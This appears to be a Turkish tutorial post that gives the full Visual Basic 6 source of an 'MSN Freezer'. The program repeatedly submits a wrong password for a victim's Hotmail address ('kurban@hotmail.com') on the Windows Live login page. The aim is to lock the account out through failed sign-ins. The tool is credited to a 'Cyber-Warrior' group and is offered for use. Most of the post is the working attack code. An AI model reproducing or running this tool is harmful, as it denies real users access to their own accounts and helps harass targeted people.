MasterBar MİNE CRAFT MODLAR

asdasdğı

Visual Basic 6 Kullanarak MSN Freezer Yapımı

========== Components ==========
Microsoft Internet Controls
Microsoft Windows Common Controls 6.0 (SP6)

========== Form Öğeleri ==========
1 Adet Label
1 Adet ProgressBar
1 Adet TextBox
1 Adet WebBrowser
2 Adet CommandButton

========== Kodlar ==========
Command1 Click İçin Kodlar:
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
Label1.Caption = "Donduruluyor..."

Command2 Click İçin Kodlar:
WebBrowser1.Navigate ("")
WebBrowser1.Stop
ProgressBar1.Value = "0"
Label1.Caption = "Hazır..."
Text1.Text = "kurban@hotmail.com"

Webbrowser1 DocumentComplete İçin Kodlar:
On Error Resume Next
ProgressBar1.Value = "100"
Label1.Caption = "Donduruldu !"
Dim Data As String
Data = w.Document.body.innerhtml
WebBrowser1.Document.All("LoginTextBox").Value = Text1.Text
WebBrowser1.Document.All("PasswordTextBox").Value = ";CW.FEDERIKO,0101"
WebBrowser1.Document.All("PasswordSubmit").Click
If InStr(Data, "Sign in failed.") Then
MsgBox "Donduruldu !"
End If
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")

Anlatımı Yapan: Cyber-Warrior Tim // FEDERIKO